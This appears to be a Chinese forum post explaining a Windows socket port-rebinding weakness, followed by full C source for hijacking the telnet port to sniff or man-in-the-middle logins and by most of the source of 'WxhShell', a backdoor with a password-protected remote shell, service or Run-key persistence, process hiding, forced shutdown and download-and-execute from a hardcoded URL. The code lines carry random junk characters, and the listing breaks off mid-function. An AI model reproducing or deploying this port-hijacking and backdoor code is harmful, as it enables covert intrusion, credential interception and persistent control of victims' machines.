社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12031阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Fb 2c0?Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -_>E8PhM  
fDChq[LAn  
  saddr.sin_family = AF_INET; T>5N$i  
Et&PzDvU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <4"Bb_U  
LiEDTXRz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W;F=7[h  
J2!)%mF$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @3?dI@i(  
=vb'T  
  这意味着什么?意味着可以进行如下的攻击: "OrF81  
?Elt;wL(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yM?jiy  
'pT8S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c:-n0m'i  
-[z1r)RZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C]krJse@  
yk2XfY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W: 3fLXk+  
4CxU eq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DV!0zzJ  
<t,lq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6PMu*-Nv!j  
l0%7u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x!fRT.,}  
k.%FGn'fR  
  #include ~01t_Xp qc  
  #include  [4mIww%  
  #include W"D>>]$|u  
  #include    &M #}?@!C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xHlO~:Lc  
  int main() p7,dl*'  
  { q)RTy|NJ^  
  WORD wVersionRequested; %)y-BdSp.  
  DWORD ret; fLuOxYQbf  
  WSADATA wsaData; %eJE@$  
  BOOL val; vZ|Wj] ;o  
  SOCKADDR_IN saddr; *>jJ<8!  
  SOCKADDR_IN scaddr; 2-rfFqpe  
  int err; F441K,I  
  SOCKET s; odTIz{9qG  
  SOCKET sc; N{K[sXCW  
  int caddsize; :MF+`RpL  
  HANDLE mt; "X-"uIc  
  DWORD tid;   2nI^fVR%\  
  wVersionRequested = MAKEWORD( 2, 2 ); uh3<%9#\k  
  err = WSAStartup( wVersionRequested, &wsaData ); e @|uG%  
  if ( err != 0 ) { -D wO*f  
  printf("error!WSAStartup failed!\n"); {fn1sGA  
  return -1; N. 0~4H %U  
  } `M ~-(,++  
  saddr.sin_family = AF_INET; 9Hs5uBe  
   2Jt*s$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F2',3  
0G8zFe*p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H|<Zm:.%$  
  saddr.sin_port = htons(23); bqQR";  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h:r:qk  
  { f|{&Y2h(R  
  printf("error!socket failed!\n"); awOH50R  
  return -1; b25C[C5C  
  } ynZfO2kf  
  val = TRUE; nOU.=N v`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q&&oP:4~X*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {BD G;e  
  { B?;P:!/1  
  printf("error!setsockopt failed!\n"); Jy-V\.N>s  
  return -1; rf =Wq_  
  } !4T7@V`G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |G P1[Q{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #M[%JTTn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'H'R6<z5  
32K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9@ :QBe3]  
  { )/BbASO$)Z  
  ret=GetLastError(); Ji0FHa_  
  printf("error!bind failed!\n"); m@g9+7  
  return -1; EskD)Sl   
  } +{s -Fg  
  listen(s,2); a7TvX{<d  
  while(1) i0&W}Bb'  
  { d08:lYQ  
  caddsize = sizeof(scaddr); jJe?pT]o  
  //接受连接请求 *^p^tK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d{(NeTs  
  if(sc!=INVALID_SOCKET) A_I\6&b4  
  { q'`LwAU}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XM:\N$tg  
  if(mt==NULL) _i2k$Nr  
  { "IRF^1 p  
  printf("Thread Creat Failed!\n"); N$P\$  
  break; ; r95i1a'  
  } g ?{o2gG  
  } :+meaxbu  
  CloseHandle(mt); t+A9nvj)  
  } 4&G #Bi  
  closesocket(s); 6rN.)dL.#N  
  WSACleanup(); !5>PZ{J  
  return 0; %G'P!xQhy  
  }   VH<-||X/4  
  DWORD WINAPI ClientThread(LPVOID lpParam) .c\iKc#  
  { *Jg&:(#}<J  
  SOCKET ss = (SOCKET)lpParam; uS5ADh  
  SOCKET sc; '_ FxxLAO  
  unsigned char buf[4096]; B<&g  
  SOCKADDR_IN saddr; `5MK(K :  
  long num; 6sNw#pqh  
  DWORD val; p4z thdN[  
  DWORD ret; D[3QQT7c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sQMfU{S /  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,(z"s8N  
  saddr.sin_family = AF_INET; vg*~t3{L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jXYjs8Iy  
  saddr.sin_port = htons(23); M^.>UZKyl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F_nXsKem  
  { y*#+:D]o*  
  printf("error!socket failed!\n"); mIv}%hD  
  return -1; #:tC^7qk  
  } y`8jz,&.  
  val = 100; REJHh\:.77  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #bGYd}BfD  
  { 5GDg_9Bz  
  ret = GetLastError(); 8_T9[ ]7V8  
  return -1; \n^;r|J7k  
  } m Q^SpK #  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xtzkgb,0[  
  { O-qpB;|  
  ret = GetLastError(); P5&8^YV`N  
  return -1; nt*K@  
  } `a9iq>   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +w8$-eFY  
  { n {..Q,z  
  printf("error!socket connect failed!\n"); tiF-lq  
  closesocket(sc); FM<`\ d'  
  closesocket(ss); ?{wD%58^oG  
  return -1; @oQ"FLF.  
  } ;1q|SmF  
  while(1) RSup_4A  
  { pg{cZ1/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L`"V_ "Q#0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T%SK";PAU$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kQO-V4z!  
  num = recv(ss,buf,4096,0); ^#4Ah[:XA  
  if(num>0) Oe lf^&m  
  send(sc,buf,num,0); <yw56{w,  
  else if(num==0) XCyrr 2^  
  break; zE i\#Zg$  
  num = recv(sc,buf,4096,0); aq - |  
  if(num>0) xpBQ(6Y  
  send(ss,buf,num,0); q$'[&&_  
  else if(num==0) | cL,$G  
  break; )Kq@ m1>@  
  } 0N_u6*@  
  closesocket(ss); c"/Hv  
  closesocket(sc); =A(Az  
  return 0 ; g1)ZjABV  
  } X~Hm.qIR  
>S]"-0tGD=  
5. +_'bF|  
========================================================== H/ar: j  
9s?gI4XN  
下边附上一个代码,,WXhSHELL >tm4Rg~y  
!1Nh`FN  
========================================================== wxy@XN"/i+  
2IXtIE  
#include "stdafx.h" $f+cd8j?o  
,>Dpt <  
#include <stdio.h> DSlO.) dHu  
#include <string.h> YmLpGqNv  
#include <windows.h> .z^O y_S{  
#include <winsock2.h> 12tk$FcY8*  
#include <winsvc.h> SNSHX2  
#include <urlmon.h> -#,4rN#  
%JI*)K1WI  
#pragma comment (lib, "Ws2_32.lib") V,]Fh5f  
#pragma comment (lib, "urlmon.lib") ?Cv([ ^Y.u  
FIx|4[&>S  
#define MAX_USER   100 // 最大客户端连接数 0rxGb} b*  
#define BUF_SOCK   200 // sock buffer WAJ KP"  
#define KEY_BUFF   255 // 输入 buffer 0{-?Wy  
#X2wy$GTG  
#define REBOOT     0   // 重启 +%Z:k  
#define SHUTDOWN   1   // 关机 Y~@(  
}yw>d\] f  
#define DEF_PORT   5000 // 监听端口 mSGpxZ,IE  
k t+h\^g  
#define REG_LEN     16   // 注册表键长度 3 6t^iV*3  
#define SVC_LEN     80   // NT服务名长度 BDLJDyf B  
`W.g1"o8W4  
// 从dll定义API QWE\Ud.q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p$cb&NNh*H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i!iG7X)qT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "bz]5c~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tTT :r),}$  
e@iz`~[  
// wxhshell配置信息 V>c !V9w   
struct WSCFG { `> +:38  
  int ws_port;         // 监听端口 Q=Liy@/+!  
  char ws_passstr[REG_LEN]; // 口令 &joP-!"  
  int ws_autoins;       // 安装标记, 1=yes 0=no rU|?3x  
  char ws_regname[REG_LEN]; // 注册表键名 x<PJ5G L  
  char ws_svcname[REG_LEN]; // 服务名 q>.C5t'Qx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LIT`~D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NDJP`FI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t:b}Mo0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W j`f^^\HJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |Qn>K   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @r(3   
w+a5/i@  
}; $LiBJ~vV<  
dVZ~n4  
// default Wxhshell configuration taMcm}*T1  
struct WSCFG wscfg={DEF_PORT, tlB -s;  
    "xuhuanlingzhe", [~c_Aa+6N  
    1, 15OzO.Ud  
    "Wxhshell", |(CgX6 l3  
    "Wxhshell", q *kLi~ Oe  
            "WxhShell Service", 9FPqd8(]*V  
    "Wrsky Windows CmdShell Service", N#XC%66qy!  
    "Please Input Your Password: ", b1QHZY\g{  
  1, &P"13]^@  
  "http://www.wrsky.com/wxhshell.exe", Uyxn+j 5  
  "Wxhshell.exe" ?Ezy0>j  
    }; wN^^_  
Ao#bREm  
// 消息定义模块 P)LOAe1'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |>'q%xK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &h_Y?5kK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t+\<i8  
char *msg_ws_ext="\n\rExit."; }pGjc_:']  
char *msg_ws_end="\n\rQuit."; sE ^YOT<  
char *msg_ws_boot="\n\rReboot..."; 6cD3(//  
char *msg_ws_poff="\n\rShutdown..."; ^f9@ =I  
char *msg_ws_down="\n\rSave to "; /:"^,i\t  
]c bXI  
char *msg_ws_err="\n\rErr!"; /F6"uZSt4  
char *msg_ws_ok="\n\rOK!"; e X6o 7a  
+\?+cXSc  
char ExeFile[MAX_PATH]; |*M07Hc x  
int nUser = 0; fzOh3FO+  
HANDLE handles[MAX_USER]; W8r"dK  
int OsIsNt; bZ^'_OOn  
Ya(3Z_f+VZ  
SERVICE_STATUS       serviceStatus; vU(fd!V ?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m/,80J8L+f  
cI/}r Z+  
// 函数声明 fxmY,{{  
int Install(void); DiGHo~f  
int Uninstall(void); T3LVn<Lm\  
int DownloadFile(char *sURL, SOCKET wsh); *`LrvE@t  
int Boot(int flag); JSmg6l?[u  
void HideProc(void); Ql9>i;AGV  
int GetOsVer(void); btC6R>0   
int Wxhshell(SOCKET wsl); +KWO`WR  
void TalkWithClient(void *cs); 6/T/A+u  
int CmdShell(SOCKET sock); P&<NcOCL&  
int StartFromService(void); 'Gamb+[  
int StartWxhshell(LPSTR lpCmdLine); $s-B  
v`G}sgn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lCBH3-0^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *{5/" H5  
;=k{[g 'gv  
// 数据结构和表定义 -yb7s2o  
SERVICE_TABLE_ENTRY DispatchTable[] = kD7'BP/#  
{ )rlkQ'DN  
{wscfg.ws_svcname, NTServiceMain}, QpRk5NeLe  
{NULL, NULL} H9(UzyN>i  
}; W39J)~D^@  
6q!Q(_  
// 自我安装 u J]uz%  
int Install(void) 2.]d~\  
{ Dy 8H(_  
  char svExeFile[MAX_PATH]; LC$M_Cpw  
  HKEY key; hpYv*WH:  
  strcpy(svExeFile,ExeFile); m)?0;9bt  
X*w;6 V  
// 如果是win9x系统,修改注册表设为自启动 XB B>"  
if(!OsIsNt) { `Q#)N0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NeP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +XW1,ly~  
  RegCloseKey(key); qg|ark*1u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gm\)1b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Z'l!/l!  
  RegCloseKey(key); U<>@)0~7g!  
  return 0; ZS=;)  
    } q&_\A0  
  } @&%/<|4P5  
} :UAcS^n7h"  
else { />pAZa  
k\9kOZW  
// 如果是NT以上系统,安装为系统服务 QDVSFGwr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2v;&`04V<  
if (schSCManager!=0) Bj9FSKiH  
{ _HjB'XNr(  
  SC_HANDLE schService = CreateService SuNc&e#(  
  ( 33wVP}e5  
  schSCManager, MPn/"Fij$  
  wscfg.ws_svcname, +$xw0)|  
  wscfg.ws_svcdisp, 7i'clB9!  
  SERVICE_ALL_ACCESS, )s4: &!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N}<!k#d E  
  SERVICE_AUTO_START, ~ 4Mz:h^  
  SERVICE_ERROR_NORMAL, *5?Qam3  
  svExeFile, |T/s>OW  
  NULL, p$= 3$I  
  NULL, S3$C#mHX  
  NULL, Om>?"=yDE  
  NULL, g{uiY|  
  NULL DiY74D  
  ); CfD4m,6  
  if (schService!=0) FP7N^HVBG=  
  { #<U@SMv  
  CloseServiceHandle(schService); _qpIdQBo  
  CloseServiceHandle(schSCManager); O '`|(L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %++S;#)~  
  strcat(svExeFile,wscfg.ws_svcname); Da!vGr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q8.Z7ux  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8 nqF i  
  RegCloseKey(key); qJO6m-  
  return 0; -dN`Ok<g  
    } ~l. C -  
  } JUXBMYFus  
  CloseServiceHandle(schSCManager); !0|&f>y  
} L<XX?I\p  
} [+#k+*1*o  
2PUB@B' +  
return 1; vRD(* S9^  
} < <Y]P+uU  
#pPR>,4  
// 自我卸载 E[=&6T4  
int Uninstall(void) w(X}  
{ ~m0=YAlk?  
  HKEY key; k>8OxpaWv?  
"LW\osjen  
if(!OsIsNt) { KL9JA; "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k.Gt }\6zP  
  RegDeleteValue(key,wscfg.ws_regname); 2 n2,MB  
  RegCloseKey(key); 'MB+cz+v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B|+% ExT7  
  RegDeleteValue(key,wscfg.ws_regname); ;~WoJlEK3  
  RegCloseKey(key); B# .xs>{N  
  return 0; H4{7,n  
  } K`ygW|?gt  
} LWSy"Cs*  
} {{[@ X  
else { z|Xt'?9&n  
Z0D&ayzkh^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T nyLVIP  
if (schSCManager!=0) 0}'/pN>  
{ S;2UcSsQl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D+oV( Pw,  
  if (schService!=0) s>WqVuXmn  
  { x^Qij!mB%  
  if(DeleteService(schService)!=0) { gvo5^O+)HH  
  CloseServiceHandle(schService); RZSEcRlN  
  CloseServiceHandle(schSCManager); iEy2z+/"^  
  return 0; MrOtsX  
  } ^L Xr4  
  CloseServiceHandle(schService); V\FlKC   
  } f`\J%9U_O  
  CloseServiceHandle(schSCManager); mUR[;;l  
} ?duw0SZ  
} glKPjL*  
}g%&}`%'  
return 1; ?Iaqbt%2  
} d~QJ}a  
*tkf)[(  
// 从指定url下载文件 a{%EHL,F  
int DownloadFile(char *sURL, SOCKET wsh) 98_os2`  
{  x}d5 Y  
  HRESULT hr; $[J\sokpY  
char seps[]= "/"; P>x88M  
char *token; 7ruWmy;j  
char *file; >Yv#t.!  
char myURL[MAX_PATH]; Qt^6w}&  
char myFILE[MAX_PATH]; e U-A_5  
FgPmQ  
strcpy(myURL,sURL); zx"0^r}  
  token=strtok(myURL,seps); |BGzdBm^x:  
  while(token!=NULL) Yx ;j  
  { to #2.  
    file=token; F0r5$Pl*  
  token=strtok(NULL,seps); @ e7_&EGR?  
  } fg1uqS1rg  
hKsx7`[  
GetCurrentDirectory(MAX_PATH,myFILE); *S4&V<W>  
strcat(myFILE, "\\"); 6+PP(>em  
strcat(myFILE, file); dPgA~~  
  send(wsh,myFILE,strlen(myFILE),0); /\1Q :B3W  
send(wsh,"...",3,0); "e29j'u!*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Q|s[F  
  if(hr==S_OK) pMp@W`i^6  
return 0; Tm~jYgJ  
else *t={9h  
return 1; >Wpdq(o  
R9+f^o` W  
} Ag1nxV1M$  
W^3'9nYU  
// 系统电源模块 *y>|  
int Boot(int flag) F{}:e QD  
{ 5pRVA  
  HANDLE hToken; 7FP"]\x  
  TOKEN_PRIVILEGES tkp; ~$Z_#,|i?  
o i~,}E_  
  if(OsIsNt) { "DJ%Yo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kQ)2DCb dn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^4saB+qm  
    tkp.PrivilegeCount = 1; pcm1IwR`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qEkhgJqk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ac[;S!R  
if(flag==REBOOT) { x_H"<-By  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [Kbna>`  
  return 0; ;{n*F=%uC  
} G0ENk|wbbj  
else { !A_KCM:Ym  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2b :I .  
  return 0; EVbDI yFn  
} Uf$IH!5;Z  
  } ?/p."N:]H  
  else { a1weTn*  
if(flag==REBOOT) { RZj06|r8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <)@^TRS  
  return 0; _)# ~D*3  
} D,uT#P  
else { wp-3U}P2(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 23q2u6.F`  
  return 0; `7',RUj|D  
} _'s5FlZq  
} \z2d=E  
u)ZZ/|  
return 1; ['0^gN$:e  
} IRI<no  
c;R .rV<  
// win9x进程隐藏模块 8EI&}I  
void HideProc(void) e}L(tXZ  
{ D/WzYc2h]  
uRw%`J4H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fd9Z7C  
  if ( hKernel != NULL ) 7|?Ht]  
  { 6r,zOs-I]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I,lzyxRP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Je` w/Hl/U  
    FreeLibrary(hKernel); Q9t.*+  
  } "S&1J8D|  
}HZ'i;~r|9  
return; KhbbGdmfS$  
} ;{cl*EN  
'zTa]y]a  
// 获取操作系统版本 6IM:Xj  
int GetOsVer(void) P99s   
{ m3_)UIJZ  
  OSVERSIONINFO winfo; #DH eEE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); niM(0p  
  GetVersionEx(&winfo); t]pJt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &44?k:  
  return 1; ]^l-k@  
  else >Q^*h}IdW  
  return 0; \Ng[lN  
} PFeK;`[  
O,KlZf_B  
// 客户端句柄模块 dtq]_HvTJ  
int Wxhshell(SOCKET wsl) yAVt[+0  
{ v y F(k3W  
  SOCKET wsh; UIw6~a3E  
  struct sockaddr_in client; cGjkx3l*  
  DWORD myID; eD 7Rv<  
Z?'){\$*  
  while(nUser<MAX_USER) knZ<V%/e  
{ cNqw(\rr  
  int nSize=sizeof(client); :y[tZ&*<_?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q|cA8Fn  
  if(wsh==INVALID_SOCKET) return 1; Ad`jV_z  
1Aa=&B2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8f|+045E@  
if(handles[nUser]==0) .DHRPel  
  closesocket(wsh); '~'3x4Bo  
else @BXV>U2B{  
  nUser++; #Y<b'7yJ  
  } V?cUQghHg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KHXnB  
pG:)u cj  
  return 0; u@zBE? g  
} -^7n+ QX  
uc;QSVWGy8  
// 关闭 socket doaqHri\,  
void CloseIt(SOCKET wsh) tt>=Vt '  
{ h9J  
closesocket(wsh); S b3@7^  
nUser--; ktKT=(F&  
ExitThread(0); hC =="4 -  
} zHCz[jlrMq  
U=bZy,FT$  
// 客户端请求句柄 n-_-;TYH  
void TalkWithClient(void *cs) ^KMZB  
{ U9B|u`72  
c8jq.y v  
  SOCKET wsh=(SOCKET)cs; u5FlT3hY.  
  char pwd[SVC_LEN]; VIxcyp0X  
  char cmd[KEY_BUFF]; #65Uei|F`+  
char chr[1]; ];go?.*C  
int i,j; Ws`P(WHm  
,*Yu~4  
  while (nUser < MAX_USER) { }KHdlhD  
-gV'z5  
if(wscfg.ws_passstr) { W;C41>^?/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ",T-'>h$2R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1jozM"H7Q  
  //ZeroMemory(pwd,KEY_BUFF); <tg>1,C  
      i=0; %/&?t`%H  
  while(i<SVC_LEN) { f/qG:yTV`  
Sf\mg4,  
  // 设置超时 oa|nQ`[  
  fd_set FdRead; fhmq O0  
  struct timeval TimeOut; fm\IQqIK%  
  FD_ZERO(&FdRead); p`JD8c  
  FD_SET(wsh,&FdRead); jM90 gPX>,  
  TimeOut.tv_sec=8; y(8AxsROp  
  TimeOut.tv_usec=0; f+huhJS5e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gI^*O@Q4{b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .gWYKZM  
5A6d]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >2~q{e  
  pwd=chr[0]; K_B-KK(^  
  if(chr[0]==0xd || chr[0]==0xa) { xGeRoW(X  
  pwd=0; Y75,{1\l0  
  break; RW|3d<Fj  
  } Y m|zM1qc  
  i++; {e?D6`#x  
    } mPxph>o  
9_F2nmEv  
  // 如果是非法用户,关闭 socket 9Qb_BNUo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yg gQ4y6  
} X &6p_Lo  
i1 ?H*:]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iVt6rX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x,z+l-y  
?8n`4yO0  
while(1) { gX34'<Z  
n-{G19?  
  ZeroMemory(cmd,KEY_BUFF); Jx@3zl  
.4~n|d>z  
      // 自动支持客户端 telnet标准   \0m[Ch}~ey  
  j=0; 70L{u+wIy  
  while(j<KEY_BUFF) { </|IgN$w`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  `' 5(4j  
  cmd[j]=chr[0]; (AdQ6eGMb  
  if(chr[0]==0xa || chr[0]==0xd) { Q%(LMq4UG  
  cmd[j]=0; W^q;=D6uh  
  break; |[?"$g9v  
  } 8|w_PP1oE  
  j++; ;z>)&F  
    } ucyz>TL0  
J]~LmSh  
  // 下载文件 -Vk+zEht  
  if(strstr(cmd,"http://")) { fNc3&=]]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lz S@@']  
  if(DownloadFile(cmd,wsh)) _rK}~y=0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&J7>vu^y  
  else )G0a72  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &<-Sxjj  
  } <5A(rDij  
  else { k#% BxT  
mh!;W=|/"  
    switch(cmd[0]) { <IGQBu#ZH  
  7%9Sz5z  
  // 帮助 {SW}S_  
  case '?': { 3ADT Yt".  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "EQ-`b=I4  
    break; b}p0&%I  
  } }\B`tAN  
  // 安装 hV/$6 8A_  
  case 'i': { 7^h?<X\  
    if(Install()) *Y6BPFE*4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2![.Kbqa%  
    else yK<%AV@v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); utC]GiR  
    break; ;-47d ^  
    } 69 R8#M  
  // 卸载 :Q=Jn?Gjb  
  case 'r': { 4,T!zT6&  
    if(Uninstall()) `itaQGLD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oW(p (>  
    else ~fn2B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %8tlJQvu  
    break; vAi kd#C)  
    } #vYdP#nWb  
  // 显示 wxhshell 所在路径 9. Q;J#;1  
  case 'p': { _K>cB<+d  
    char svExeFile[MAX_PATH]; K>9]I97g'  
    strcpy(svExeFile,"\n\r");  cpp0Y^  
      strcat(svExeFile,ExeFile); xCD|UC46?X  
        send(wsh,svExeFile,strlen(svExeFile),0); [XjJsk,  
    break; nk]jIR y^T  
    } ^_r8R__S:  
  // 重启 eXWiTi@  
  case 'b': { _) 2fXG!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l=[<gPE  
    if(Boot(REBOOT)) `9Zoq=/  
